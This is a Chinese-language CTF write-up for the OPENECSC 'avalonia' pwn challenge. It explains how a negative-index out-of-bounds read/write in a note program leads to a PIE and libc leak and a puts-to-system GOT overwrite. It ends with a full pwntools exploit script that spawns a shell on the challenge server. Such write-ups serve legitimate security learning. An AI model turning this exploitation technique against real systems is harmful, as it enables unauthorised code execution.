题目简介
ctftime上的OPENECSC比赛题,链接:OPENECSC:avalonia
这道题感觉漏洞点比较隐蔽,泄露地址的思路感觉也比较偏门,还融合了覆写GOT表和one gadget手法,都是目前不熟悉的
漏洞点分析
checksec,看到保护基本全开,除了GOT表是Partial:

IDA反编译,先看main函数,如图:

先看函数表,没有malloc和free,首先排除堆题可能
菜单程序,逐步分析每个功能,先看添加部分:

只有一个输入的地方,允许输入156字节,但够不到返回地址,没有栈溢出,然后跟进add_note:

发现首先把我们的输入拷贝到一个bss段上的指针notePtr_+4的位置,然后前4个字节写入当前时间戳,最后把指针存到bss段上的一个指针数组noteptrs处
传入的参数最多只有156字节,notePtr_预留的有156+4刚好160字节,没有溢出,同时在notePtr_的末尾手动添加0x00,因此这里也没有明显可以溢出的地方
再看edit功能:

首先让我们输入要修改的note下标,然后同样是fgets限制在156字节,然后进入edit_note:

表面上看貌似没有可以溢出的地方,但是看到有用下标索引的动作,而且有一个自定义的读取下标函数,考虑是否存在下标越界错误?
跟进get_index:

看到首先从scanf读取4个字节的整数,即一个int,然后会调用check_index检查下标是否合法,跟进check_index:

看上去也没什么问题,保证不会超过10个note,而notes预留的大小正好是1600字节
于是先往下看view功能,输出功能一般来说是不可能存在溢出点的,因此主要寻找泄露地址的机会:

看到view会首先用get_index读取要显示的note的下标,然后把时间戳转换成time结构体输出,接着从+4处取note内容输出
get_index不会超过10,没有越界,因此看上去也没有泄露地址的机会
最后看delete功能:

和edit以及view一样,从get_index读取要删除的坐标,然后把noteptrs对应位置置空
分析下来发现好像根本没有漏洞点,但其实我的分析遗漏了一个地方:下标不能超过9,但是下标可以为负数吗?如果可以,那就能在低于noteptrs的空间实现任意地址读写
而再次回头来检查get_index和check_index函数,发现只存在对下标是否不超过9的校验,而没有对是否大于0的校验
至此,漏洞点明确了,即在edit和view功能中,由于下标可以为负数,导致存在noteptrs以下地址空间的任意读和写
漏洞点利用
拿到任意地址读写以后,结合checksec的结果,可以想到改掉某个函数的GOT表;注意view函数的如下部分:

由于notePtr_+4的内容是我们可控的,因此想到可以覆盖puts的GOT表
接下来是泄露地址的问题,首先需要泄露libc地址,因此要先在某个libc函数的GOT表处完成任意读,即让notePtr_等于某个函数的GOT段地址
但是开启了PIE保护,我们只知道got段的偏移,于是要先泄露程序装载基地址
但是哪个地址存储了一个和程序区段有关的地址呢?这里只能通过gdb调试去猜测,大概范围是noteptrs往上1600字节之前(即notes之前,因为notes预留了1600字节,而且肯定不在bss段——初始化全0)
最后在noteptrs上方210*8个字节处找到一个和程序段固定偏移的地址,如下图:

之后只要调用view功能越界读这块内存即可,代码如下:
1 2
| elfBase=LeakAddr(-210)-0x4050
|
之后是泄露libc地址,具体思路是首先把puts函数GOT表的地址放在noteptrs上方的某个可控地址空间,其实可以放到notes附近,这部分对应的代码如下:
1 2
| Add(b'1'*4+p64(elfBase+elf.got["puts"])) libcBase=LeakAddr(-199)-libc.symbols["puts"]
|
拿到libc地址之后,首先布置好一个”/bin/sh”字符串的参数,之后将puts函数GOT表-4的值同样布置到notes附近,最后调用Edit完成覆盖,如下:
1 2 3 4
| Add("/bin/sh")
Add(b'A'*4+p64(elfBase+elf.got["puts"]-4)) Edit(-159,p64(libcBase+libc.symbols["system"]))
|
最后调用一次View,输出1号下标的/bin/sh,实际就会执行system(“/bin/sh”)
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * from datetime import datetime, timezone context(os="linux",arch="amd64",log_level="debug") targetELF="./app" libcPath="/home/k40/Pwn/Exercise/OPENECSC-avalonia/libc.so.6" context.terminal=["tmux","splitw","-h"] LOCAL=1 REMOTE=2 DEBUG=3 mode=REMOTE
elf=ELF(targetELF) libc=ELF(libcPath)
def Lauch(): if mode==LOCAL: io=process(targetELF) return io elif mode==REMOTE: io=remote("89383b86-6177-4e66-8113-0770b7acd413.openec.sc",31337,ssl=True) return io elif mode==DEBUG: io=gdb.debug(targetELF,"b *do_view_note+376") return io
ioTube=Lauch()
def Add(content_): ioTube.recvuntil("Choice > ") ioTube.sendline("0") ioTube.recvuntil("Enter note content > ") ioTube.sendline(content_)
def Edit(idx,content_): ioTube.recvuntil("Choice > ") ioTube.sendline("2") ioTube.recvuntil("Enter index of note to edit > ") ioTube.sendline(str(idx)) ioTube.recvuntil("Enter note content: ") ioTube.sendline(content_)
def Delete(idx): ioTube.recvuntil("Choice > ") ioTube.sendline("3") ioTube.sendline(str(idx))
def View(idx): ioTube.recvuntil("Choice > ") ioTube.sendline("1") ioTube.recvuntil("Enter index of note to view > ") ioTube.sendline(str(idx)) ioTube.recvuntil("Modified on ") times_=ioTube.recvline(keepends=False) ioTube.recvuntil("Content: \"") content_=ioTube.recvline(keepends=False) return content_,times_
def LeakAddr(idx): content_,times_=View(idx) epoch32 = int(datetime.strptime(times_.decode(), "%d/%m/%Y %I:%M:%S %p").replace(tzinfo=timezone.utc).timestamp()) & 0xffffffff note_val = int.from_bytes(content_, "little") return (note_val << 32) | epoch32
elfBase=LeakAddr(-210)-0x4050
Add(b'1'*4+p64(elfBase+elf.got["puts"])) libcBase=LeakAddr(-199)-libc.symbols["puts"]
Add("/bin/sh")
Add(b'A'*4+p64(elfBase+elf.got["puts"]-4)) Edit(-159,p64(libcBase+libc.symbols["system"]))
ioTube.recvuntil("Choice > ") ioTube.sendline("1") ioTube.recvuntil("Enter index of note to view > ") ioTube.sendline("1") ioTube.interactive()
|